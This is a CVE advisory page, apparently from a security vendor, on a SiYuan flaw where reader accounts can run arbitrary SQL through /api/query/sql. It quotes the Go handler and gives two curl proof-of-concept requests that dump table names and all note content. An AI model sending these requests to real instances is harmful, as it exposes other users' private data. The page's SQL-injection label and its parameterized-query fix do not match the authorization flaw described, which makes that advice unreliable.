Summary
/api/query/sql allows users to run SQL directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any SQL query on the database.
Details
The vulnerable endpoint is in kernel/api/sql.go
func SQL(c *gin.Context) {
ret := gulu.Ret.NewResult()
defer c.JSON(http.StatusOK, ret)
arg, ok := util.JsonArg(c, ret)
if !ok {
return
}
stmt := arg["stmt"].(string)
result, err := sql.Query(stmt, model.Conf.Search.Limit) // ... runs arbitrary sql with no restrictions
}
The route in kernel/api/router.go only uses CheckAuth middleware
e.g (similar)
ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, SQL)
PoC
Start SiYuan with the publish service turned on
# List out all tables in the database
curl -s -u reader_user:reader_pass \
-X POST "http://127.0.0.1:6808/api/query/sql" \
-H "Content-Type: application/json" \
-d '{"stmt": "SELECT name, type FROM sqlite_master WHERE type='"'"'table'"'"'"}'
# Extract all user content from the database
curl -s -u reader_user:reader_pass \
-X POST "http://127.0.0.1:6808/api/query/sql" \
-H "Content-Type: application/json" \
-d '{"stmt": "SELECT id, content FROM blocks"}'
Impact
- High impact, reader users can query all data in the db including other users notes
- SQL api is mostly for select queries, but without validation, writes can still happen
- Malicious SQL can lead to serious performance issues
this is an auth bypass, the sql feature is for power users but even readers can use it
Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
In the interim: Use parameterized queries or prepared statements so user input is always treated as data, never as SQL syntax.
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-29073? CVE-2026-29073 is a medium-severity SQL injection vulnerability in github.com/siyuan-note/siyuan/kernel (go), affecting versions <= 0.0.0-20260113130602-4ba64580c29c. No fixed version is listed yet. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
- Which versions of github.com/siyuan-note/siyuan/kernel are affected by CVE-2026-29073? github.com/siyuan-note/siyuan/kernel (go) versions <= 0.0.0-20260113130602-4ba64580c29c is affected.
- Is there a fix for CVE-2026-29073? No fixed version is listed for CVE-2026-29073 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-29073 exploitable, and should I be worried? Whether CVE-2026-29073 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-29073 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-29073? No fixed version is listed yet. In the interim: Use parameterized queries or prepared statements so user input is always treated as data, never as SQL syntax.